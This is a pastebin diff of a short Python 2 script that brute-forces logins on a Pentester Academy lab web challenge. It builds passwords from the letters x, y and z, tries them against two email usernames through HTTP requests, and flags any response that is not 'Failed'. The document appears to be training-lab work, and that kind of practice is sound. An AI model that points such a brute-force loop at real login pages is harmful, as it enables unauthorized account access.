SHOW:
|
|
- or go back to the newest paste.
1 | #!/usr/bin/env python | |
2 | ''' | |
3 | Brute Force On Challenge 1 | |
4 | Ahmed Sherif | |
5 | ||
6 | ''' | |
7 | import urllib2 | |
8 | import os | |
9 | from termcolor import cprint,colored | |
10 | your_list = 'xyz' | |
11 | complete_list = [] | |
12 | for current in xrange(5): | |
13 | a = [i for i in your_list] | |
14 | for y in xrange(current): | |
15 | a = [x+i for i in your_list for x in a] | |
16 | complete_list = complete_list+a | |
17 | ||
18 | chunk = complete_list[120:363] | |
19 | print chunk | |
20 | print len(chunk) | |
21 | f = open('myfile3.txt', 'w') | |
22 | ||
23 | ||
24 | - | username = ["jack","admin"] |
24 | + | username = ['jack@pentesteracademy.com','admin@pentesteracademy.com'] |
25 | ||
26 | ||
27 | ||
28 | for pw in chunk: | |
29 | for x in username: | |
30 | ||
31 | trying = "Trying with Username \t"+ x +"\t password "+pw + "\n" | |
32 | print trying | |
33 | url = ('http://pentesteracademylab.appspot.com/lab/webapp/1?email='+x+'&password='+pw) | |
34 | request = urllib2.Request(url) | |
35 | response = urllib2.urlopen(request) | |
36 | back = response.read()[2486:2492] | |
37 | print back | |
38 | f.write(trying + back + "\n") | |
39 | if(back!="Failed"): | |
40 | cprint ("Success With Username " +x+ "& Password " + pw ,'red') | |
41 | ||
42 | ||
43 | f.close() |